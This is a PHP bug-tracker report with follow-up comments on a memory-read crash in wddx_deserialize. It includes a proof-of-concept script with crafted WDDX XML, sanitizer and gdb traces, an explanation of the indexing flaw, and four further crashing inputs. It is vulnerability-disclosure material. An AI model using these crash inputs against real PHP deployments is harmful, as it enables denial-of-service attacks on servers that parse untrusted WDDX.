|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-09-12 02:30 UTC] stackexploit at gmail dot com
Description:
------------
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.
PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 11 2016 18:37:49) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.
STACKTRACE
-----------------------
Posted in the "Actual result" section.
VULNERABILITY DETAILS
-----------------------
A DoS (null pointer dereference) vulnerability can be triggered in function wddx_deserialize.
To reproduce this issue, please run export USE_ZEND_ALLOC=0 before executing the test script.
Test script:
---------------
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<var Name="name">
<boolean value="keliu"></boolean>
</var>
<var name="1111">
<var name="2222">
<var name="3333"></var>
</var>
</var>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
Expected result:
----------------
Exit quietly.
Actual result:
--------------
==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
(pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
#0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
#1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
#2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
#3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
#4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
#5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
#6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
#7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
#8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
#9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
#10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
#11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
#12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
#13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
#14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
#15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
#16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#17 0x449578 in _start (php-src/sapi/cli/php+0x449578)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 03:00:01 2025 UTC |
The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is: if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { The problem is that the loop just above it is: if (atts) for (i = 0; atts[i]; i++) { so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.Hi, I debugged this issue and confirmed it exits. The information given by AddressSanitizer is wired. In fact it's not a NULL pointer dereference issue but an invalid pointer reference issue. (gdb) r /path/to/poc/wddx_null.php Starting program: /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php /path/to/poc/wddx_null.php Breakpoint 1, php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:791 791 if (atts) for (i = 0; atts[i]; i++) { (gdb) n 792 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { (gdb) p i $12 = 0 (gdb) p atts[i] $13 = (const XML_Char *) 0xcf8699 "Name" -------------------------------------------------------------------------------------- i = 0 atts[i] = "Name" (0xcf8699) EL_NAME = "name" Here strcmp((char *)atts[i], EL_NAME) != 0 and the remained conditions will not be checked. -------------------------------------------------------------------------------------- (gdb) n 791 if (atts) for (i = 0; atts[i]; i++) { (gdb) p i $15 = 0 (gdb) n 792 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { (gdb) p i $16 = 1 (gdb) p atts[i] $17 = (const XML_Char *) 0xcf783c "name" -------------------------------------------------------------------------------------- i = 1 atts[i] = "name" (0xcf783c) EL_NAME = "name" Here strcmp((char *)atts[i], EL_NAME) == 0 and the remained conditions will be checked. So executing atts[++i]. Here i equals 2 now. (gdb) x/20xw atts 0xcf6e30: 0x00cf8699 0x00000000 0x00cf783c 0x00000000 0xcf6e40: 0x00000000 0x00000000 0x61507801 0x74656b63 0xcf6e50: 0x580a0d3e 0x0d3b4c4d 0x2020200a 0x200a0d20 0xcf6e60: 0x24202020 0x61727261 0x203d2079 0x78646477 0xcf6e70: 0x7365645f 0x61697265 0x657a696c 0x6d782428 However atts[2] == 0, so the remained condition will not be checked. -------------------------------------------------------------------------------------- (gdb) n 791 if (atts) for (i = 0; atts[i]; i++) { (gdb) p i $18 = 2 (gdb) n 792 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { (gdb) p i $19 = 3 (gdb) p atts[i] $21 = (const XML_Char *) 0x74656b6361507801 <error: Cannot access memory at address 0x74656b6361507801> (gdb) x/40xw atts (gdb) x/20xw atts 0xcf6e30: 0x00cf8699 0x00000000 0x00cf783c 0x00000000 0xcf6e40: 0x00000000 0x00000000 [0x61507801 0x74656b63] --> atts[3] 0xcf6e50: 0x580a0d3e 0x0d3b4c4d 0x2020200a 0x200a0d20 0xcf6e60: 0x24202020 0x61727261 0x203d2079 0x78646477 0xcf6e70: 0x7365645f 0x61697265 0x657a696c 0x6d782428 -------------------------------------------------------------------------------------- When executing the for-loop, firstly executing i++, then i equals 3. Now atts[i] is not NULL! Only atts[2] is NULL but it's not checked in the for-loop. Please notice that atts[2] was checked in the if statement! Now atts[3] points to 0x74656b6361507801. When calling the strcmp function, the process will receive signal SIGSEGV because the address cannot be read. -------------------------------------------------------------------------------------- (gdb) n Program received signal SIGSEGV, Segmentation fault. __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31 31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory. (gdb) x/i $rip => 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1 (gdb) i r $rdi rdi 0x74656b6361507801 8387227955626014721 (gdb) x/20xb $rdi 0x74656b6361507801: Cannot access memory at address 0x74656b6361507801 (gdb) bt #0 __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31 #1 0x000000000060ee81 in php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:792 #2 0x00007ffff7bb6680 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1 #3 0x00007ffff7bb738c in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1 #4 0x00007ffff7bb8cae in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1 #5 0x00007ffff7bb9405 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1 #6 0x00007ffff7bbb70b in XML_ParseBuffer () from /lib/x86_64-linux-gnu/libexpat.so.1 #7 0x0000000000610c05 in php_wddx_deserialize_ex ( value=0x7ffff4282018 "<?xml version='1.0' ?>\r\n <!DOCTYPE et SYSTEM 'w'>\r\n <wddxPacket ven='1.0'>\r\n <array>\r\n", ' ' <repeats 12 times>, "<var Name=\"name\">\r\n", ' ' <repeats 16 times>, "<boolean value=\"keliu\"></boolean>\r\n", ' ' <repeats 12 times>, "</var>\r"..., vallen=391, return_value=0x7ffff42140c0) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1087 #8 0x00000000006119f5 in zif_wddx_deserialize (execute_data=0x7ffff42140f0, return_value=0x7ffff42140c0) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1305 #9 0x000000000074fb3b in ZEND_DO_ICALL_SPEC_HANDLER () at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:586 #10 0x000000000074e3b8 in execute_ex (ex=0x7ffff4214030) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:414 #11 0x000000000074ecab in zend_execute (op_array=0x7ffff4283000, return_value=0x0) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:458 #12 0x00000000006be044 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend.c:1427 #13 0x0000000000616881 in php_execute_script (primary_file=0x7fffffffcb50) at /home/worker/Desktop/repo/php-7.0.10/main/main.c:2494 #14 0x000000000082a37c in do_cli (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:974 #15 0x000000000082b625 in main (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:1344 (gdb) c Continuing. Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists.> [2016-09-12 05:22 UTC] stas@php.net > The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is: > if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { > The problem is that the loop just above it is: > if (atts) for (i = 0; atts[i]; i++) { > so if strcmp argument is 0, how did it enter the loop body? Something is wrong here. Here is my answer. 790 if (atts) for (i = 0; atts[i]; i++) { 791 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { 792 if (stack->varname) efree(stack->varname); 793 stack->varname = estrdup((char *)atts[i]); 794 break; 795 } 796 } atts[0] = 0x0000000000cf8699 "Name" atts[1] = 0x0000000000cf783c "name" EL_NAME atts[2] = 0x0000000000000000 NULL atts[3] = 0x74656b6361507801 ???? atts[2] was not checked in the for-loop but in the if statement. So strcmp(atts[3], EL_NAME) would cause an Out-Of-Bounds read issue.OS: Ubuntu 16.04 LTS 64-bit. (gdb) x/i $rip => 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1 (gdb) i r $rdi rdi 0x74656b6361507801 8387227955626014721 >>> '74656b6361507801'.decode('hex')[::-1] '\x01xPacket'There are other four similar issues in function php_wddx_push_element. ------------ 1. Line 740 ------------ <?php $xml = <<<XML <?xml version='1.0' ?> <!DOCTYPE et SYSTEM 'w'> <wddxPacket ven='1.0'> <array> <char Name="code"> <boolean value="keliu"></boolean> </char> </array> </wddxPacket> XML; $array = wddx_deserialize($xml); var_dump($array); ?> ------------ 2. Line 758 ------------ <?php $xml = <<<XML <?xml version='1.0' ?> <!DOCTYPE et SYSTEM 'w'> <wddxPacket ven='1.0'> <array> <boolean Name="value"> <boolean value="keliu"></boolean> </boolean> </array> </wddxPacket> XML; $array = wddx_deserialize($xml); var_dump($array); ?> ------------ 3. Line 804 ------------ <?php $xml = <<<XML <?xml version='1.0' ?> <!DOCTYPE et SYSTEM 'w'> <wddxPacket ven='1.0'> <array> <recordset Name="fieldNames"> <boolean value="keliu"></boolean> </recordset> </array> </wddxPacket> XML; $array = wddx_deserialize($xml); var_dump($array); ?> ------------ 4. Line 838 ------------ <?php $xml = <<<XML <?xml version='1.0' ?> <!DOCTYPE et SYSTEM 'w'> <wddxPacket ven='1.0'> <array> <field Name="name"> <boolean value="keliu"></boolean> </field> </array> </wddxPacket> XML; $array = wddx_deserialize($xml); var_dump($array); ?>